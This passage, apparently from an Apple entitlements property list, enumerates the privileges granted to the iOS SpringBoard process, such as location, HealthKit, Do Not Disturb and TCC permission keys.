<false/>\n\t<key>allow-obliterate-device</key>\n\t<true/>\n\t<key>application-identifier</key>\n\t<string>com.apple.springboard</string>\n\t<key>aps-connection-initiate</key>\n\t<true/>\n\t<key>backupd-connection-initiate</key>\n\t<true/>\n\t<key>checklessPersistentURLTranslation</key>\n\t<true/>\n\t<key>com.apple.BTServer.allowRestrictedServices</key>\n\t<true/>\n\t<key>com.apple.BTServer.programmaticPairing</key>\n\t<true/>\n\t<key>com.apple.CallHistory.sync.allow</key>\n\t<true/>\n\t<key>com.apple.CommCenter.StormBreaker</key>\n\t<true/>\n\t<key>com.apple.CommCenter.fine-grained</key>\n\t<array>\n\t\t<string>spi</string>\n\t\t<string>preferences-reset</string>\n\t\t<string>voice</string>\n\t\t<string>identity</string>\n\t\t<string>phone</string>\n\t\t<string>carrier-settings</string>\n\t</array>\n\t<key>com.apple.CompanionLink</key>\n\t<true/>\n\t<key>com.apple.Contacts.database-allow</key>\n\t<true/>\n\t<key>com.apple.CoreRoutine.LocationOfInterest</key>\n\t<true/>\n\t<key>com.apple.MobileInternetSharing.allow</key>\n\t<true/>\n\t<key>com.apple.ModeEntityScorer</key>\n\t<true/>\n\t<key>com.apple.Pasteboard.trusted-authentication-message-request</key>\n\t<true/>\n\t<key>com.apple.PerformanceTrace.Tracing</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.cache-asynchronous</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.debug</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.displayable-context</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.flipbook</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.global-capture</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.occlusion-override</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.secure-capture</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.secure-mode</key>\n\t<true/>\n\t<key>com.apple.QuartzCore.system-layers</key>\n\t<true/>\n\t<key>com.apple.SystemConfiguration.SCDynamicStore-write-access</key>\n\t<true/>\n\t<key>com.apple.SystemConfiguration.SCPreferences-write-access</key>\n\t<array>\n\t\t<string>com.apple.AutoWake.xml</string>\n\t\t<string>preferences.plist</string>\n\t\t<string>com.apple.radios.plist</string>\n\t</array>\n\t<key>com.apple.TapToRadarKit.service-access</key>\n\t<true/>\n\t<key>com.apple.abm.helper.mobile.allow</key>\n\t<true/>\n\t<key>com.apple.accounts.appleaccount.fullaccess</key>\n\t<true/>\n\t<key>com.apple.assistant.announcement_state</key>\n\t<true/>\n\t<key>com.apple.assistant.client</key>\n\t<true/>\n\t<key>com.apple.assistant.settings</key>\n\t<true/>\n\t<key>com.apple.authkit.client.private</key>\n\t<true/>\n\t<key>com.apple.authkit.writer.internal</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allow-identifying-output-device-details</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allow-still-image-capture-shutter-sound-manipulation</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allow-system-wide-context</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allows-access-to-device-list</key>\n\t<true/>\n\t<key>com.apple.avfoundation.allows-set-output-device</key>\n\t<true/>\n\t<key>com.apple.backboard.client</key>\n\t<true/>\n\t<key>com.apple.backboard.display.archive</key>\n\t<true/>\n\t<key>com.apple.backboard.displaybrightness</key>\n\t<true/>\n\t<key>com.apple.backboardd.cancelsTouchesInHostedContent</key>\n\t<true/>\n\t<key>com.apple.backboardd.displayArrangement</key>\n\t<true/>\n\t<key>com.apple.backboardd.eventAuthenticationVerification</key>\n\t<true/>\n\t<key>com.apple.backboardd.global-pointer-event-routing</key>\n\t<true/>\n\t<key>com.apple.backboardd.hostCanRequireTouchesFromHostedContent</key>\n\t<true/>\n\t<key>com.apple.backboardd.lastUserEventTime</key>\n\t<true/>\n\t<key>com.apple.backboardd.launchapplications</key>\n\t<true/>\n\t<key>com.apple.backboardd.pointerAutomation</key>\n\t<true/>\n\t<key>com.apple.backboardd.pointerRepositioning</key>\n\t<true/>\n\t<key>com.apple.backboardd.touchDeliveryObservation</key>\n\t<true/>\n\t<key>com.apple.backboardd.transferTouches</key>\n\t<true/>\n\t<key>com.apple.backboardd.virtualDisplay</key>\n\t<true/>\n\t<key>com.apple.bannerkit.post</key>\n\t<true/>\n\t<key>com.apple.biome.PublicStreamAccessService</key>\n\t<true/>\n\t<key>com.apple.bluetooth.system</key>\n\t<true/>\n\t<key>com.apple.bulletinboard</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.dataprovider</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.observer</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.serverconduit</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.settings</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.systemstate</key>\n\t<true/>\n\t<key>com.apple.bulletinboard.utilities</key>\n\t<true/>\n\t<key>com.apple.cards.all-access</key>\n\t<true/>\n\t<key>com.apple.chronod.toolservices</key>\n\t<true/>\n\t<key>com.apple.chronoservices</key>\n\t<true/>\n\t<key>com.apple.coreaudio.CanRecordPastData</key>\n\t<true/>\n\t<key>com.apple.coreaudio.allow-amr-decode</key>\n\t<true/>\n\t<key>com.apple.coreaudio.allow-opus-codec</key>\n\t<true/>\n\t<key>com.apple.coreaudio.allow-speex-codec</key>\n\t<true/>\n\t<key>com.apple.coreduetd.allow</key>\n\t<true/>\n\t<key>com.apple.coreduetd.batterysaver.allow</key>\n\t<true/>\n\t<key>com.apple.coreduetd.context</key>\n\t<true/>\n\t<key>com.apple.coreduetd.knowledge</key>\n\t<true/>\n\t<key>com.apple.coremedia.allow-pre-wiring-pixel-buffers</key>\n\t<true/>\n\t<key>com.apple.coremedia.allow-protected-content-playback</key>\n\t<true/>\n\t<key>com.apple.coremedia.virtualdisplaysession</key>\n\t<true/>\n\t<key>com.apple.developer.extension-host.widget-extension</key>\n\t<true/>\n\t<key>com.apple.developer.homekit</key>\n\t<true/>\n\t<key>com.apple.developer.ubiquity-kvstore-identifier</key>\n\t<string>com.apple.springboard</string>\n\t<key>com.apple.duet.activityscheduler.allow</key>\n\t<true/>\n\t<key>com.apple.duet.expertcenter.consumer</key>\n\t<true/>\n\t<key>com.apple.extensionkit.host.extension-point-identifiers</key>\n\t<array>\n\t\t<string>com.apple.SoundScapesViewServices.ViewService</string>\n\t</array>\n\t<key>com.apple.fileprovider.acl-write</key>\n\t<true/>\n\t<key>com.apple.fileprovider.enumerate</key>\n\t<true/>\n\t<key>com.apple.fileprovider.fetch-url</key>\n\t<true/>\n\t<key>com.apple.frontboard.app-badge-value-access</key>\n\t<true/>\n\t<key>com.apple.frontboard.launchapplications</key>\n\t<true/>\n\t<key>com.apple.frontboard.shutdown</key>\n\t<true/>\n\t<key>com.apple.frontboardservices.display-layout-monitor</key>\n\t<true/>\n\t<key>com.apple.geoservices.navigation_info</key>\n\t<true/>\n\t<key>com.apple.homekit.private-spi-access</key>\n\t<true/>\n\t<key>com.apple.iapd.accessibility</key>\n\t<true/>\n\t<key>com.apple.icloud.findmydeviced.access</key>\n\t<true/>\n\t<key>com.apple.icloud.findmydeviced.findmydevice-user-agent.access</key>\n\t<true/>\n\t<key>com.apple.icloud.fmfd.access</key>\n\t<true/>\n\t<key>com.apple.icloud.searchpartyd.beaconmanager</key>\n\t<true/>\n\t<key>com.apple.idle-timer-services</key>\n\t<true/>\n\t<key>com.apple.imagent</key>\n\t<true/>\n\t<key>com.apple.imagent.av</key>\n\t<true/>\n\t<key>com.apple.imagent.chat</key>\n\t<true/>\n\t<key>com.apple.intents.extension.discovery</key>\n\t<true/>\n\t<key>com.apple.intents.uiextension.discovery</key>\n\t<true/>\n\t<key>com.apple.internal.seserviced.all.endpoints.and.cas</key>\n\t<true/>\n\t<key>com.apple.internal.seserviced.ptattestation</key>\n\t<true/>\n\t<key>com.apple.itunesstored.private</key>\n\t<true/>\n\t<key>com.apple.keystore.device</key>\n\t<true/>\n\t<key>com.apple.keystore.lockassertion</key>\n\t<true/>\n\t<key>com.apple.keystore.stash.access</key>\n\t<true/>\n\t<key>com.apple.launchservices.clearadvertisingid</key>\n\t<true/>\n\t<key>com.apple.localizationswitcher</key>\n\t<true/>\n\t<key>com.apple.locationd.activity</key>\n\t<true/>\n\t<key>com.apple.locationd.asmanager</key>\n\t<true/>\n\t<key>com.apple.locationd.authorizeapplications</key>\n\t<true/>\n\t<key>com.apple.locationd.effective_bundle</key>\n\t<true/>\n\t<key>com.apple.locationd.motion_alarms</key>\n\t<true/>\n\t<key>com.apple.locationd.place_inference</key>\n\t<true/>\n\t<key>com.apple.locationd.prompt_behavior</key>\n\t<true/>\n\t<key>com.apple.locationd.region_proxy_service</key>\n\t<true/>\n\t<key>com.apple.locationd.status</key>\n\t<true/>\n\t<key>com.apple.locationd.usage_oracle</key>\n\t<true/>\n\t<key>com.apple.locationd.vehicle_data</key>\n\t<true/>\n\t<key>com.apple.logind.client.entitlement</key>\n\t<true/>\n\t<key>com.apple.lsapplicationproxy.deviceidentifierforvendor</key>\n\t<true/>\n\t<key>com.apple.managedconfiguration.mdmd-access</key>\n\t<true/>\n\t<key>com.apple.managedconfiguration.profiled-access</key>\n\t<true/>\n\t<key>com.apple.mediaremote.ui-control</key>\n\t<true/>\n\t<key>com.apple.mediastream.mstreamd-access</key>\n\t<true/>\n\t<key>com.apple.messages.composeclient</key>\n\t<true/>\n\t<key>com.apple.mkb.usersession.info</key>\n\t<true/>\n\t<key>com.apple.mkb.usersession.loginwindow</key>\n\t<true/>\n\t<key>com.apple.mobile.deleted.AllowFreeSpace</key>\n\t<true/>\n\t<key>com.apple.mobile.keybagd.UserManager.logoutcritical</key>\n\t<true/>\n\t<key>com.apple.mobilemail.mailservices</key>\n\t<true/>\n\t<key>com.apple.multitasking.systemappassertions</key>\n\t<true/>\n\t<key>com.apple.multitasking.termination</key>\n\t<true/>\n\t<key>com.apple.nano.nanoregistry.generalaccess</key>\n\t<true/>\n\t<key>com.apple.nfcd.hwmanager</key>\n\t<true/>\n\t<key>com.apple.nfcd.radio.powertoggle</key>\n\t<true/>\n\t<key>com.apple.nfcd.seshat</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.ecommerce</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.fieldOperations</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.peerpayment</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.reader.internal</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.se</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.trust</key>\n\t<true/>\n\t<key>com.apple.nfcd.singleUser</key>\n\t<true/>\n\t<key>com.apple.notificationcenter.widgetcontrollerhascontent</key>\n\t<true/>\n\t<key>com.apple.osanalytics.otatasking-service-access</key>\n\t<true/>\n\t<key>com.apple.payment.configuration</key>\n\t<true/>\n\t<key>com.apple.payment.presentation</key>\n\t<true/>\n\t<key>com.apple.photos.bourgeoisie</key>\n\t<true/>\n\t<key>com.apple.pointerui.persistentlyHidePointer</key>\n\t<true/>\n\t<key>com.apple.pointerui.service-keep-alive-assertion</key>\n\t<true/>\n\t<key>com.apple.pointerui.set-system-cursor-interaction-context</key>\n\t<true/>\n\t<key>com.apple.posterboardservices.data-store</key>\n\t<true/>\n\t<key>com.apple.posterboardservices.data-store.accessSwitcherConfiguration</key>\n\t<true/>\n\t<key>com.apple.powerd.lowpowermode.allow</key>\n\t<true/>\n\t<key>com.apple.private.CallHistory.read</key>\n\t<true/>\n\t<key>com.apple.private.ClipServices</key>\n\t<true/>\n\t<key>com.apple.private.CoreAuthentication.SPI</key>\n\t<true/>\n\t<key>com.apple.private.InstallCoordination.allowed</key>\n\t<true/>\n\t<key>com.apple.private.MobileContainerManager.otherIdLookup</key>\n\t<true/>\n\t<key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key>\n\t<array>\n\t\t<string>InverseDeviceID</string>\n\t</array>\n\t<key>com.apple.private.ReplayKitAngel.client</key>\n\t<true/>\n\t<key>com.apple.private.SafariServices.PasswordPicker.setRemoteAppProperties</key>\n\t<true/>\n\t<key>com.apple.private.ShazamKit</key>\n\t<true/>\n\t<key>com.apple.private.WebClips.read-write</key>\n\t<true/>\n\t<key>com.apple.private.accessories.showallconnections</key>\n\t<true/>\n\t<key>com.apple.private.accounts.allaccounts</key>\n\t<true/>\n\t<key>com.apple.private.activitykit.activityAuthorizer</key>\n\t<true/>\n\t<key>com.apple.private.activitykit.activityEnder</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.alertPresenter</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.assertionRequester</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.listener</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.presentationAssertionRequester</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.prominenceObserver</key>\n\t<false/>\n\t<key>com.apple.private.airdrop.settings</key>\n\t<true/>\n\t<key>com.apple.private.appleaccount.app-hidden-from-icloud-settings</key>\n\t<true/>\n\t<key>com.apple.private.applecredentialmanager.allow</key>\n\t<true/>\n\t<key>com.apple.private.appstored</key>\n\t<array>\n\t\t<string>Repair</string>\n\t\t<string>TestFlightFeedback</string>\n\t\t<string>StoreKitExternalNotification</string>\n\t\t<string>Update</string>\n\t</array>\n\t<key>com.apple.private.assets.accessible-asset-types</key>\n\t<array>\n\t\t<string>com.apple.MobileAsset.DuetExpertCenterAsset</string>\n\t</array>\n\t<key>com.apple.private.attentionawareness</key>\n\t<true/>\n\t<key>com.apple.private.attentionawareness.poll</key>\n\t<true/>\n\t<key>com.apple.private.attribution.implicitly-assumed-identity</key>\n\t<dict>\n\t\t<key>type</key>\n\t\t<string>path</string>\n\t\t<key>value</key>\n\t\t<string>/System/Library/CoreServices/SpringBoard.app/SpringBoard</string>\n\t</dict>\n\t<key>com.apple.private.barcodesupport.allowNotifications</key>\n\t<true/>\n\t<key>com.apple.private.biome.read-only</key>\n\t<array>\n\t\t<string>AppLaunch</string>\n\t\t<string>InferredMode</string>\n\t\t<string>Notification</string>\n\t\t<string>ScreenSharing</string>\n\t\t<string>HomeKitClientAccessoryControl</string>\n\t\t<string>HomeKitClientMediaAccessoryControl</string>\n\t\t<string>HomeKitClientActionSet</string>\n\t</array>\n\t<key>com.apple.private.biome.read-write</key>\n\t<array>\n\t\t<string>SiriUI</string>\n\t\t<string>Device.Display.Appearance</string>\n\t\t<string>Device.Display.AlwaysOn</string>\n\t\t<string>OSAnalytics.Hardware.Reliability</string>\n\t</array>\n\t<key>com.apple.private.biome.realTimeSensorSession</key>\n\t<true/>\n\t<key>com.apple.private.bmk.allow</key>\n\t<true/>\n\t<key>com.apple.private.calendar.allow-suggestions</key>\n\t<true/>\n\t<key>com.apple.private.canGetAppLinkInfo</key>\n\t<true/>\n\t<key>com.apple.private.canModifyAppLinkPermissions</key>\n\t<true/>\n\t<key>com.apple.private.carkit</key>\n\t<true/>\n\t<key>com.apple.private.carkit.app</key>\n\t<true/>\n\t<key>com.apple.private.carkit.dnd</key>\n\t<true/>\n\t<key>com.apple.private.clouddocs.can-grant-access-to-document</key>\n\t<true/>\n\t<key>com.apple.private.contactsui</key>\n\t<true/>\n\t<key>com.apple.private.coordination.alarms</key>\n\t<true/>\n\t<key>com.apple.private.coordination.timers</key>\n\t<true/>\n\t<key>com.apple.private.coreaudio.borrowaudiosession.allow</key>\n\t<true/>\n\t<key>com.apple.private.coreaudio.mxsessionPropertyPipe</key>\n\t<true/>\n\t<key>com.apple.private.coremedia.interruptions.phonecallpriority.allow</key>\n\t<true/>\n\t<key>com.apple.private.corerecents</key>\n\t<true/>\n\t<key>com.apple.private.coreservices.canmaplsdatabase</key>\n\t<true/>\n\t<key>com.apple.private.coreservices.canopenactivity</key>\n\t<true/>\n\t<key>com.apple.private.coreservices.lsuseractivityd.bestappsuggestion</key>\n\t<true/>\n\t<key>com.apple.private.corespotlight.internal</key>\n\t<true/>\n\t<key>com.apple.private.corespotlight.search.internal</key>\n\t<true/>\n\t<key>com.apple.private.corewifi.internal</key>\n\t<true/>\n\t<key>com.apple.private.dmd.policy</key>\n\t<true/>\n\t<key>com.apple.private.donotdisturb.behavior.resolution.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.SBBulletinSpokenObserverGateway</string>\n\t\t<string>com.apple.springboard.NCBulletinNotificationSource</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.mode.assertion.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.mode.assertion.user-requested.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.modeconfiguration.modify.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.focussettingsui.activity-config</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.modeconfiguration.request.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.focussettingsui.activity-config</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.proactive.AppPredictionClient</string>\n\t\t<string>com.apple.springboard.focusappconfigurationcontextmonitor</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.modeconfiguration.updates.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.focussettingsui.activity-config</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.proactive.AppPredictionClient</string>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.springboard.focusappconfigurationcontextmonitor</string>\n\t\t<string>com.apple.FocusSettings</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.settings.request.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.proactive.AppPredictionClient</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.settings.updates.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.state.request.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.springboard.SBDashBoardCombinedListViewController</string>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.awdmetrics</string>\n\t\t<string>com.apple.springboard.dashboard.bedtime</string>\n\t\t<string>com.apple.accessibility.visual.alerts</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.springboard.SBDoNotDisturbMetric</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.springboard.dndstatemonitor</string>\n\t\t<string>com.apple.springboard.CoverSheetDiscoveryProvider</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.state.updates.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.springboard.SBDashBoardCombinedListViewController</string>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.awdmetrics</string>\n\t\t<string>com.apple.springboard.dashboard.bedtime</string>\n\t\t<string>com.apple.accessibility.visual.alerts</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.springboard.SBDoNotDisturbMetric</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.springboard.dndstatemonitor</string>\n\t\t<string>com.apple.springboard.CoverSheetDiscoveryProvider</string>\n\t</array>\n\t<key>com.apple.private.externalaccessory.showallaccessories</key>\n\t<true/>\n\t<key>com.apple.private.followup</key>\n\t<true/>\n\t<key>com.apple.private.game-center</key>\n\t<array>\n\t\t<string>Account</string>\n\t\t<string>Games</string>\n\t</array>\n\t<key>com.apple.private.game-center.bypass-authentication</key>\n\t<true/>\n\t<key>com.apple.private.healthkit</key>\n\t<true/>\n\t<key>com.apple.private.healthkit.feature-availability.read</key>\n\t<array>\n\t\t<string>SleepCoaching</string>\n\t</array>\n\t<key>com.apple.private.healthkit.read_authorization_override</key>\n\t<array>\n\t\t<string>HKCategoryTypeIdentifierSleepAnalysis</string>\n\t</array>\n\t<key>com.apple.private.healthkit.source_override</key>\n\t<string>com.apple.mobiletimer</string>\n\t<key>com.apple.private.healthkit.write_authorization_override</key>\n\t<array>\n\t\t<string>HKCategoryTypeIdentifierSleepAnalysis</string>\n\t</array>\n\t<key>com.apple.private.hid.client.event-dispatch</key>\n\t<true/>\n\t<key>com.apple.private.hid.client.service-protected</key>\n\t<true/>\n\t<key>com.apple.private.hid.manager.client</key>\n\t<true/>\n\t<key>com.apple.private.homekit</key>\n\t<true/>\n\t<key>com.apple.private.homekit.allow-secure-access</key>\n\t<true/>\n\t<key>com.apple.private.icfcallserver</key>\n\t<true/>\n\t<key>com.apple.private.ids.idsquery</key>\n\t<true/>\n\t<key>com.apple.private.ids.messaging</key>\n\t<array>\n\t\t<string>com.apple.private.alloy.bulletinboard</string>\n\t\t<string>com.apple.private.alloy.donotdisturb</string>\n\t\t<string>com.apple.madrid</string>\n\t\t<string>com.apple.private.alloy.siri.phrasespotter</string>\n\t</array>\n\t<key>com.apple.private.ids.messaging.urgent-priority</key>\n\t<array>\n\t\t<string>com.apple.private.alloy.bulletinboard</string>\n\t\t<string>com.apple.private.alloy.donotdisturb</string>\n\t\t<string>com.apple.private.alloy.siri.phrasespotter</string>\n\t</array>\n\t<key>com.apple.private.ids.registration-reset</key>\n\t<true/>\n\t<key>com.apple.private.imavcore.imavagent</key>\n\t<true/>\n\t<key>com.apple.private.imcore.imdpersistence.database-access</key>\n\t<true/>\n\t<key>com.apple.private.imcore.imremoteurlconnection</key>\n\t<true/>\n\t<key>com.apple.private.imcore.spi.database-access</key>\n\t<true/>\n\t<key>com.apple.private.in-app-payments</key>\n\t<true/>\n\t<key>com.apple.private.iokit.powersource-control</key>\n\t<true/>\n\t<key>com.apple.private.kernel.darkboot</key>\n\t<true/>\n\t<key>com.apple.private.kernel.jetsam</key>\n\t<true/>\n\t<key>com.apple.private.librarian.can-get-application-info</key>\n\t<true/>\n\t<key>com.apple.private.lockdown.finegrained-get</key>\n\t<array>\n\t\t<string>NULL/ActivationState</string>\n\t\t<string>NULL/BrickState</string>\n\t\t<string>NULL/SBLockdownEverRegisteredKey</string>\n\t\t<string>com.apple.xcode.developerdomain/DeveloperStatus</string>\n\t\t<string>NULL/BuildExpireTime</string>\n\t</array>\n\t<key>com.apple.private.lockdown.finegrained-remove</key>\n\t<array>\n\t\t<string>com.apple.mobile.iTunes.store/AppleID</string>\n\t\t<string>com.apple.mobile.data_sync/Contacts</string>\n\t\t<string>com.apple.mobile.data_sync/Calendars</string>\n\t\t<string>com.apple.mobile.data_sync/Bookmarks</string>\n\t\t<string>com.apple.mobile.data_sync/Mail Accounts</string>\n\t</array>\n\t<key>com.apple.private.mediaexperience.allowemergencyalertpriority</key>\n\t<true/>\n\t<key>com.apple.private.mediasafetynet.exception.notificationappex</key>\n\t<true/>\n\t<key>com.apple.private.mis.online_auth_agent</key>\n\t<true/>\n\t<key>com.apple.private.mobileinstall.allowedSPI</key>\n\t<array>\n\t\t<string>UninstallForLaunchServices</string>\n\t\t<string>SetCapabilities</string>\n\t\t<string>Lookup</string>\n\t</array>\n\t<key>com.apple.private.mobilesafari.searchengine</key>\n\t<true/>\n\t<key>com.apple.private.mobilestoredemo.enabledemo</key>\n\t<array>\n\t\t<string>Manage</string>\n\t</array>\n\t<key>com.apple.private.mobiletimerd</key>\n\t<true/>\n\t<key>com.apple.private.nearbyinteraction.system-shutdown</key>\n\t<true/>\n\t<key>com.apple.private.network.socket-delegate</key>\n\t<true/>\n\t<key>com.apple.private.networkextension.configuration</key>\n\t<true/>\n\t<key>com.apple.private.persona.read</key>\n\t<true/>\n\t<key>com.apple.private.photos.service.demo</key>\n\t<true/>\n\t<key>com.apple.private.photos.service.multilibrary</key>\n\t<true/>\n\t<key>com.apple.private.ppm.superclient</key>\n\t<true/>\n\t<key>com.apple.private.replay-kit</key>\n\t<true/>\n\t<key>com.apple.private.rtcreportingd</key>\n\t<true/>\n\t<key>com.apple.private.screen-time</key>\n\t<true/>\n\t<key>com.apple.private.security.container-manager</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.AppDataContainers</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.Calendar</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.Photos</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.clipserviced</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.familycircled</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.triald</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.alertPresenter</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.assertionRequester</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.custom-platter-target</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.listener</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.permitMultipleProcessInputs</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.presentationAssertionRequester</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.prominenceObserver</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.sessionFinisher</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.sessionRequest</key>\n\t<true/>\n\t<key>com.apple.private.sharing.unlock-manager</key>\n\t<true/>\n\t<key>com.apple.private.shazamkit.allow-external-audio-recording</key>\n\t<true/>\n\t<key>com.apple.private.shazamkit.allow-internal-audio-recording</key>\n\t<true/>\n\t<key>com.apple.private.sleepd</key>\n\t<true/>\n\t<key>com.apple.private.suggestions.contacts</key>\n\t<true/>\n\t<key>com.apple.private.suggestions.events</key>\n\t<true/>\n\t<key>com.apple.private.system-keychain</key>\n\t<true/>\n\t<key>com.apple.private.tcc.allow</key>\n\t<array>\n\t\t<string>kTCCServiceAddressBook</string>\n\t\t<string>kTCCServiceCalendar</string>\n\t\t<string>kTCCServiceReminders</string>\n\t\t<string>kTCCServicePhotos</string>\n\t\t<string>kTCCServicePhotosAdd</string>\n\t\t<string>kTCCServiceMediaLibrary</string>\n\t\t<string>kTCCServiceMicrophone</string>\n\t\t<string>kTCCServiceCamera</string>\n\t\t<string>kTCCServiceWillow</string>\n\t\t<string>kTCCServiceFaceID</string>\n\t\t<string>kTCCServiceBluetoothAlways</string>\n\t</array>\n\t<key>com.apple.private.tcc.manager.access.read</key>\n\t<array>\n\t\t<string>kTCCServiceFocusStatus</string>\n\t</array>\n\t<key>com.apple.private.tipsd.discoverability</key>\n\t<true/>\n\t<key>com.apple.private.tty.settings</key>\n\t<true/>\n\t<key>com.apple.private.ubiquity-kvstore-access</key>\n\t<array>\n\t\t<string>com.apple.weather</string>\n\t\t<string>com.apple.stocks</string>\n\t\t<string>com.apple.backboardd</string>\n\t\t<string>com.apple.Accessibility</string>\n\t\t<string>com.apple.Accessibility.SwitchControl</string>\n\t\t<string>com.apple.Accessibility.TouchAccommodations</string>\n\t\t<string>com.apple.AssistiveTouch</string>\n\t\t<string>com.apple.HearingAids</string>\n\t\t<string>com.apple.SpeakSelection</string>\n\t\t<string>com.apple.VoiceOverTouch</string>\n\t\t<string>com.apple.ZoomTouch</string>\n\t</array>\n\t<key>com.apple.private.usernotifications.bundle-identifiers</key>\n\t<array>\n\t\t<string>com.apple.donotdisturb</string>\n\t\t<string>com.apple.mobiletimer</string>\n\t\t<string>com.apple.usernotifications.example</string>\n\t</array>\n\t<key>com.apple.private.usernotifications.settings</key>\n\t<array>\n\t\t<string>read</string>\n\t</array>\n\t<key>com.apple.private.vfs.allow-low-space-writes</key>\n\t<true/>\n\t<key>com.apple.private.vfs.open-by-id</key>\n\t<true/>\n\t<key>com.apple.private.wallpaperkit.service.migration</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.app-server</key>\n\t<true/>\n\t<key>com.apple.proactive.ActionPrediction.predictions</key>\n\t<true/>\n\t<key>com.apple.proactive.AppPrediction.predictions</key>\n\t<true/>\n\t<key>com.apple.proactive.DefaultWidgetSuggester</key>\n\t<true/>\n\t<key>com.apple.proactive.NotificationDigest.xpc</key>\n\t<true/>\n\t<key>com.apple.proactive.ProactiveSuggestionClientModel.xpc</key>\n\t<true/>\n\t<key>com.apple.proactive.SuggestedPages</key>\n\t<true/>\n\t<key>com.apple.proactive.UserEducationSuggestion.server-listener.xpc</key>\n\t<true/>\n\t<key>com.apple.proactive.appDirectory</key>\n\t<true/>\n\t<key>com.apple.proactive.eventtracker</key>\n\t<true/>\n